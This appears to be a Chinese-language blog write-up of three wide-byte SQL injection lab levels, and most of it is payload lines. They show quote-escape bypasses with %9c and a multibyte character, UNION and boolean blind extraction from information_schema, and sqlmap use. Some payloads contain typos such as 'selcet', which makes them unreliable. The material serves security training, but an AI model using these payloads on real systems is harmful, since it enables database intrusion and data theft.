Pass15 宽字节注入-1

%df -> 凑成汉字
\ 16进制转换->  5c

这里进行payload构造:

?id=1%9c' and 1=1 -- qwe  # 页面回显正常
?id=1%9c' and 1=2 -- qwe  # 页面回显报错

证明这里存在宽字节注入,于是乎开始常规的注入流程:

?id=1%9c' order by 1 -- qwe # 页面回显正常
?id=1%9c' order by 2 -- qwe # 页面回显正常
?id=1%9c' order by 3 -- qwe # 页面回显正常
?id=1%9c' order by 4 -- qwe # 页面回显报错

1.测试数据库

这里使用union语句进行测试

拿到库名:widechar

payload: ?id=1'%9c' union select 1,2,database() -- qwe

2.测试表名

payload: ?id=1%9c' union selcet table_name from information_schema
.tables where table_schema='widechar' -- qwe

这里直接回显报错了

查看sql语句:

select *from user where id='1.1�\' union select 1,2,table_name 
from information_schema.tables where table_schema
=\'widechar\' -- qwe'

在这里发现widechar被加上了'',所以并没有被执行成功。

如何解决呢:

方案1:database(),避免单引号的输入

绕过成功
用套娃的方法(也就是子查询),这里看例子:

?id=1%9c' union select 1,2,table_name from information_schema.tables
where table_schema and table_name=(select table_name from
information_schema.tables where table_schema=database()
limit 0,1) -- qwe    # 第一张表:china_flag
limit 1,1) -- qwe    # 第二张表:user
limit 2,1) -- qwe    # 第三张表:admin

方案2:16进制法

mysql支持16进制输入,16进制输入可以替代字符从而避免了单引号的加入
user 16进制得到:75736572
?id=1%9c' union selcet 1,2,column_name from information_schema.
columns where table_schema=database() and table_name=0x75736572 -- qwe

3.测试字段值
payload: ?id=1%9c' union select 1,2,column_name from information_schema
.columns where table_schema=database and table_name=(select table_name
from information_schema.tables where table_schema=database() limit 0,1)
-- qwe
第一张表的第一个字段值

?id=1%9c' union selcet 1,2,column_name from information_schema.
columns where table_schema=database() and table_name=0x75736572
limit 0,1 -- qwe

得到字段password
4.得到字段值对应的数据
payload:?id=1%9c' union select 1,2,C_Flag from china_flag limit 1,1 -- qwe

Pass16 宽字节注入-2

这次是双引号加括号的闭合,直接构造payload验证猜想:

1.测试数据库名:

?id=1%9c") union select 1,2,database() -- qwe

数据库名
2.测试表名

?id=1%9c") union select table_name from information_schema.tables
where table_name=database() -- qwe

表名
3.测试字段
user转16进制得到:

?id=1%9c") union select 1,2,column_name from information_schema.columns
where table_schema=database() and table_name=0x75736572 -- qwe


4.拿到flag

?id=1") union select 1,2,C_Flag from china_flag limit 2,1 -- qwe

Pass17 宽字节注入3

这道题有密码登录框,故不能使用直接GET传参,要借助Burp抓包改包来实现;

POST注入,并不会进行URL转码,所以不能写%df让单引号逃逸出来

这里直接使用一个简答的方法,即传入一个汉字,比如传一个 荣 字,荣的16进制编码为 e88da3 ,的16进制编码为5c,这样 e88d组成一个字符,a35c组成一个字符。将当作gbk编码使用掉了,使'逃逸。
成功
因为页面这里只有回显True和False,所以要用到布尔盲注的思想。

这里先去测试数据库字段的长度

1.数据库字段长度测试(二分法思想):
username=荣') or length(database())=8 -- qwe
数据库字符长度为8
2.数据库字段爆破
username=荣') or ord(substr(database(),1,1))=122 -- qwe
username=荣') or substr(database(),1,1))=6b -- qwe
得到数据名:widechar
3.表的字段长度和字段测试:
username=荣') or length(select table_name from information_schema
.tables where table_schema=database() limit 0,1)=2 -- qwe
得到表名:china_flag、user
4.字段查找:
username=荣') or ord(substr((select column_name from information_schema.columns where table_name = 0x6368696e615f666c6167 limit 0,1),1,1))>1 — qwe
得到字段名:Id和C_Flag
5.内容查找:
username=荣') or ord(substr((select C_Flag from china_flag limit 0,1),1,1))>1 — qwe
得到flag
ASCCI码对应表
关于这些题还是可以用sqlmap来跑,但是必须带上Burp一起跑。
错误示例:(跑不出来)

python sqlmap.py --level 3 --risk 2 -u http://xxx.xxx.xxx.xxx

正确示例:(带着Burp抓到的包,并且修改username参数,然后放到sqlmap目录下面)

python sqlmap.py -r 1.txt --level 3 --risk 3

总结下学了点什么吧:

1.UNION 联合查询 GET注入
2.工具使用 (谷歌浏览器插件,BurpSuite Sqlamp)
3.updatexml报错注入 POST/HEAD传参
4.布尔盲注 时间盲注 ascii/ord() substr() sleep() if() concat group_concat
5.宽字节注入:绕过魔术引号,%df或者任何结合的东西,汉字绕过 16进制编码0x 子查询的嵌套。

思路:

1.找不需要闭合
2.找作用域
3.非UTF-8 非英文编码都可以试试 重要的是数据库的设置方法,与前后端意义大不。如果前端页面是GBK,那么数据库也很可能是GBK编码,可是去试试。

至此SQL注入一些基础的点和一些常用的SQL注入方法就此结束,对SQL注入的类型判断和经验有了一点提升,尤其是pass17对盲注和宽字节注入的综合考察更是进一步提升,总的来说,是一次不错的练习过程。
完结

最后修改:2022 年 03 月 21 日 03 : 24 PM
如果觉得这篇文章不错,不妨赏我碎银几两。